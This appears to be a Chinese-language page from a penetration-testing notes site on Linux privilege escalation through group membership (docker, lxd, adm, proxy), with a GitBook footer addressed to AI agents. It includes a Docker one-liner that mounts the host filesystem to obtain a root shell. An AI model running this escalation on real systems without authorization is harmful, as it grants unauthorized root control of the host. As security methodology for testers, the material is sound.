> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/user-groups.md). # 用户组 危险的本地组成员关系可能在不需要内核漏洞利用的情况下暴露特权资源。docker、lxd、adm 或 proxy 等组可能授予主机控制权、敏感日志访问权限，或提供对横向移动和提权有用的配置路径。 ## 方法 * 运行 `id` 和 `groups` 用于识别特权本地组成员关系。 * 将每个组映射到其所暴露的资源，例如 Docker 套接字、LXD 容器、日志或代理配置。 * 仅利用已确认的组路径，并保留命令输出用于报告。 ## 快速检查 ```bash id groups ``` ## Docker 组快速路径 属于 `docker` 组通常会赋予与 root 等效的主机控制权，因为容器可以挂载主机文件系统。 ```bash id docker run -it --rm -v /:/mnt alpine chroot /mnt sh ```

:users:

docker 组滥用

用于 Linux 提权的用户组（Docker）笔记，包含枚举步骤、利用示例以及面向报告的验证。/pages/03e2799f02a41f8dc3d08a23f6cef147d5728998

:users:

adm 组日志访问

用于 Linux 提权的用户组（adm）笔记，包含枚举步骤、利用示例以及面向报告的验证。/pages/fedae3c6da691e5d402c3a0c55a95a1073c1d39b

:users:

lxd 组滥用

用于 Linux 提权的用户组（lxd）笔记，包含枚举步骤、利用示例以及面向报告的验证。/pages/00d4d08c67ebe8de1dc572a061ea18b12174f8ae

:users:

proxy 组滥用

用于 Linux 提权的用户组（proxy）笔记，包含枚举步骤、利用示例以及面向报告的验证。/pages/74bc345571a73c4d5e0ed38696c34ea51bad4b46
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/privesc/user-groups.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.